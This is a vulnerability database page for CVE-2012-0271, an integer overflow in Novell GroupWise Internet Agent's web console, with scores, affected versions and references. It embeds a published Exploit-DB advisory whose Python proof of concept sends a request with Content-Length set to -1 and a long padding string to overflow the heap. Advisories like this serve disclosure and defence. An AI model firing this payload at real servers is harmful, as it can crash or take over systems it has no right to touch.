CVE-2012-0271 : Detail

CVE-2012-0271

8%V3
Network
2012-09-19
08h00 +00:00
2013-03-30
08h00 +00:00
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CVE Descriptions

Integer overflow in the WebConsole component in gwia.exe in GroupWise Internet Agent (GWIA) in Novell GroupWise 8.0 before 8.0.3 HP1 and 2012 before SP1 might allow remote attackers to execute arbitrary code via a crafted request that triggers a heap-based buffer overflow, as demonstrated by a request with -1 in the Content-Length HTTP header.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 21326

Publication date : 2012-09-16 22h00 +00:00
Author : Francis Provencher
EDB Verified : Yes

##################################################################################### Application: Novell Groupwise Platforms: Windows Version: 8.0.2 HP3 and 2012 Secunia: SA50622 {PRL}: 2012-28 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) The Code ##################################################################################### =============== 1) Introduction =============== Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients. (http://en.wikipedia.org/wiki/Novell) ##################################################################################### ============================ 2) Report Timeline ============================ 2012-02-03 Vulnerability reported to Secunia 2012-09-14 Publication of this advisory ##################################################################################### ============================ 3) Technical details ============================ The vulnerability is caused due to an integer overflow error in GroupWise Internet Agent (gwia.exe) when copying request data and can be exploited to cause a heap-based buffer overflow by e.g. sending a specially crafted request with the "Content-Length" header value set to "-1" to the web-based administration interface (TCP port 9850). Successful exploitation may allow execution of arbitrary code. ##################################################################################### =========== 4) The Code =========== #!/usr/bin/python import sys,os,socket if len(sys.argv) < 3: print "Usage: host,port" sys.exit(0) host=sys.argv[1] port=int(sys.argv[2]) sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((host,port)) 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x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x0D\x0A\x0D\x0A") print "done!" sock.close()

Products Mentioned

Configuraton 0

Novell>>Groupwise >> Version 8.0

Novell>>Groupwise >> Version 8.01

Novell>>Groupwise >> Version 8.01

Novell>>Groupwise >> Version 8.02

Novell>>Groupwise >> Version 8.02

Novell>>Groupwise >> Version 8.02

Novell>>Groupwise >> Version 8.02

Novell>>Groupwise >> Version 8.03

Configuraton 0

Novell>>Groupwise >> Version 2012

Configuraton 0

Novell>>Groupwise >> Version 5.2

Novell>>Groupwise >> Version 5.5

Novell>>Groupwise >> Version 5.57e

Novell>>Groupwise >> Version 6.0

Novell>>Groupwise >> Version 6.0.1

Novell>>Groupwise >> Version 6.5

Novell>>Groupwise >> Version 6.5

Novell>>Groupwise >> Version 6.5

Novell>>Groupwise >> Version 6.5

Novell>>Groupwise >> Version 6.5

Novell>>Groupwise >> Version 6.5

Novell>>Groupwise >> Version 6.5

Novell>>Groupwise >> Version 6.5.2

Novell>>Groupwise >> Version 6.5.3

Novell>>Groupwise >> Version 6.5.4

Novell>>Groupwise >> Version 6.5.6

Novell>>Groupwise >> Version 6.5.7

Novell>>Groupwise >> Version 7.0

Novell>>Groupwise >> Version 7.0.3

Novell>>Groupwise >> Version 7.0.3

Novell>>Groupwise >> Version 7.0.4

Novell>>Groupwise >> Version 7.0.4

Novell>>Groupwise >> Version 7.01

Novell>>Groupwise >> Version 7.01

Novell>>Groupwise >> Version 7.02

Novell>>Groupwise >> Version 7.02

Novell>>Groupwise >> Version 7.02

Novell>>Groupwise >> Version 7.02

Novell>>Groupwise >> Version 7.02

Novell>>Groupwise >> Version 7.03

Novell>>Groupwise >> Version 7.03

Novell>>Groupwise >> Version 7.03

Novell>>Groupwise >> Version 7.03

Novell>>Groupwise >> Version 7.03

References

http://osvdb.org/85426
Tags : vdb-entry, x_refsource_OSVDB